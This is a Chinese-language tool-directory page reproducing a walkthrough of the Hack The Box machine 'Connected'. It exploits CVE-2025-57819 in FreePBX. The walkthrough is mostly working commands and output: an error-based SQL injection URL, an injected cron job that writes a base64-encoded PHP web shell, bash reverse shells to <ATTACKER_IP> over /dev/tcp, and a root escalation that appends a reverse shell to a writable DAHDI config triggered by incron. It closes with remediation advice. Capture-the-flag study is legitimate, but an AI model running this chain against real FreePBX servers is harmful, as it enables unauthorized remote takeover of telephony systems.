Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
FreePBX-SQLi-Exploit-Privilege-escalation — 本演练记录了HTB机器Connected被完全攻破的全过程。 | Kitploit
工具/GitHubGitHub/itsc1sco/freepbx-sqli-exploit-privilege-escalation
权限提升漏洞分析代码分析漏洞利用Web应用程序漏洞利用CTF渗透测试学习与教育

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
GitHub
itsc1sco/freepbx-sqli-exploit-privilege-escalation

FreePBX-SQLi-Exploit-Privilege-escalation

本演练记录了HTB机器Connected被完全攻破的全过程。

查看仓库
1171个月前尚未审核

FreePBX:从无认证 SQL 注入到 Root Shell

CVE-2025-57819 • FreePBX 16.0.40.7 • HTB Connected


📋 执行摘要

本演练记录了 HTB 机器 Connected 的完整入侵过程。

攻击链始于 FreePBX 中的一个无认证 SQL 注入漏洞,该漏洞被利用通过精心构造的 cron 任务以 asterisk 用户身份获得代码执行权限。随后,一个可写的配置文件与 incron 触发器相结合,实现了向 root 的权限提升。

此案例展示了 Web 应用程序漏洞在结合本地权限配置薄弱和不安全的特权自动化时,如何导致系统被完全入侵。


🔍 第 1 步 – 枚举与虚拟主机发现

快速端口扫描揭示了目标主机的开放端口:

root@kitploit:~
nmap -T5 --open <MACHINE_IP>
端口服务
22SSH
80HTTP
443HTTPS

进一步检查显示,一台运行 PHP 7.4 的 Apache 服务器,并将 HTTP 重定向到:

root@kitploit:~
http://connected.htb/

要正确访问该站点,请添加虚拟主机映射:

root@kitploit:~
echo "<MACHINE_IP> connected.htb" | sudo tee -a /etc/hosts

浏览 http://connected.htb/ 显示:

root@kitploit:~
FreePBX 16.0.40.7

🕳️ 第 2 步 – 利用 CVE-2025-57819(SQL 注入)

研究发现 CVE-2025-57819,这是 FreePBX Endpoint Manager 组件中的一个无认证基于错误的 SQL 注入漏洞。

通过提取数据库用户来确认该漏洞:

root@kitploit:~
curl -ik "https://connected.htb/admin/ajax.php?module=FreePBX\\modules\\endpoint\\ajax&command=model&template=x&model=model&brand=x'+AND+EXTRACTVALUE(1,CONCAT('~USER:',(SELECT USER()),'~'))--+"

响应包含:

root@kitploit:~
~USER:freepbxuser@localhost~

这确认了 SQL 注入有效,并且应用程序以以下身份连接 MySQL:

root@kitploit:~
freepbxuser@localhost

⚙️ 第 3 步 – 通过计划任务获得代码执行权限

FreePBX 将计划任务存储在 cron_jobs 表中。

通过向该表注入恶意条目,可以安排任意命令执行。

以下载荷在 Web 根目录中创建了一个 PHP Web Shell:

root@kitploit:~
curl -ik "https://connected.htb/admin/ajax.php?module=FreePBX\\modules\\endpoint\\ajax&command=model&template=x&model=model&brand=x';INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order) VALUES ('sysadmin','wt-shell3','echo \"PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+Cg==\"|base64 -d >/var/www/html/c1sco.php',NULL,'* * * * *',30,1,1)-- "

服务器返回通用的 500 错误,但 SQL 语句成功执行。

大约一分钟后,验证 Web Shell 是否已创建:

root@kitploit:~
curl -ik "https://connected.htb/c1sco.php?cmd=id"

输出:

root@kitploit:~
uid=999(asterisk) gid=1000(asterisk) groups=1000(asterisk)

我们现在可以通过 HTTP 请求以 asterisk 用户身份执行命令。


💻 第 4 步 – 建立交互式反向 Shell

在攻击机上启动 Netcat 监听器:

root@kitploit:~
nc -lvnp 4444

通过 Web Shell 触发 Bash 反向 Shell:

root@kitploit:~
curl -ik "https://connected.htb/c1sco.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/<ATTACKER_IP>/4444+0>%261'"

连接已建立:

root@kitploit:~
connect to [<ATTACKER_IP>] from [<MACHINE_IP>]
uid=999(asterisk) gid=1000(asterisk)

我们现在拥有一个以 asterisk 用户身份运行的交互式 Shell。


🔎 第 5 步 – 本地枚举与权限提升路径

在 /etc 下搜索可写文件,排除已知的误报:

root@kitploit:~
find /etc -writable 2>/dev/null | grep -v "/etc/wanpipe\|/etc/asterisk\|/etc/schmooze" | head -20

一个值得注意的结果是:

root@kitploit:~
/etc/dahdi/init.conf

接下来,检查 incron 配置:

root@kitploit:~
cat /etc/incron.d/*

这揭示了以下文件系统监视器:

root@kitploit:~
/var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart

这意味着每当哨兵文件:

root@kitploit:~
/var/spool/asterisk/sysadmin/dahdi_restart

被写入时,以下脚本将被执行:

root@kitploit:~
/usr/sbin/sysadmin_dahdi_restart

检查该脚本发现它会引用:

root@kitploit:~
/etc/dahdi/init.conf

由于 /etc/dahdi/init.conf 可被 asterisk 用户写入,并且会被 root 进程引用,因此它提供了一条以 root 身份执行任意命令的路径。


🚀 第 6 步 – 通过 DAHDI 提升至 Root

在端口 4445 上启动第二个 Netcat 监听器:

root@kitploit:~
nc -lvnp 4445

从 asterisk Shell 中,将反向 Shell 载荷追加到可写的配置文件中:

root@kitploit:~
echo 'bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/4445 0>&1" &' >> /etc/dahdi/init.conf

通过写入被监视的文件来触发 incron 操作:

root@kitploit:~
echo "restart" > /var/spool/asterisk/sysadmin/dahdi_restart

几秒钟内,root Shell 建立连接:

root@kitploit:~
connect to [<ATTACKER_IP>] from [<MACHINE_IP>]
uid=0(root) gid=0(root) groups=0(root)

🎯 已获得完整 root 访问权限!


🏁 第 7 步 – 获取 Flag

用户 Flag

root@kitploit:~
cat /home/asterisk/user.txt

输出:

root@kitploit:~
HTB{...user_flag...}

Root Flag

root@kitploit:~
cat /root/root.txt

输出:

root@kitploit:~
HTB{...root_flag...}

📚 攻击链摘要

root@kitploit:~
无认证 SQL 注入
            │
            ▼
     MySQL 查询执行
            │
            ▼
   插入恶意 Cron 任务
            │
            ▼
      PHP Web Shell
            │
            ▼
      asterisk Shell
            │
            ▼
 可写的 /etc/dahdi/init.conf
            │
            ▼
       incron 触发器
            │
            ▼
      Root 命令执行
            │
            ▼
          root

📊 经验教训

漏洞影响
无认证 SQL 注入暴露了数据库用户上下文,并为写入恶意数据提供了立足点
Cron 任务注入实现了以低权限服务账户身份进行远程代码执行
可写配置文件 + incron允许直接向 root 进行权限提升
特权脚本引用用户可写文件允许以 root 权限执行任意命令

🔐 建议

1. 验证用户输入

对所有数据库操作使用参数化查询和严格的输入验证。

切勿将用户控制的输入直接拼接进 SQL 查询中。

2. 限制配置文件权限

特权服务使用的配置文件不应可被低权限服务账户写入。

特别是,请审查以下目录下文件的权限:

root@kitploit:~
/etc/

3. 审查 Cron 和 Incron 任务

定期审计计划任务和文件系统监视器。

特权任务不应基于不受信任用户可修改的文件来执行命令。

4. 避免引用不受信任的配置

Root 拥有的脚本应避免引用可被非特权用户修改的配置文件。

5. 应用最小权限原则

Web 应用程序和服务应以其运行所需的最低权限运行。

降低 FreePBX/Apache 环境的权限可以显著限制应用程序被成功入侵后的影响范围。


🏆 最终攻击链

root@kitploit:~
CVE-2025-57819
      │
      ▼
无认证 SQL 注入
      │
      ▼
cron_jobs 表篡改
      │
      ▼
计划执行的 PHP Web Shell
      │
      ▼
asterisk 用户
      │
      ▼
可写的 /etc/dahdi/init.conf
      │
      ▼
incron 文件监视器
      │
      ▼
特权 DAHDI 脚本
      │
      ▼
Root Shell
      │
      ▼
🏆 系统被完全入侵

免责声明: 本文档仅供教育目的和授权安全测试使用,例如 Hack The Box 实验室和受控环境。

下载工具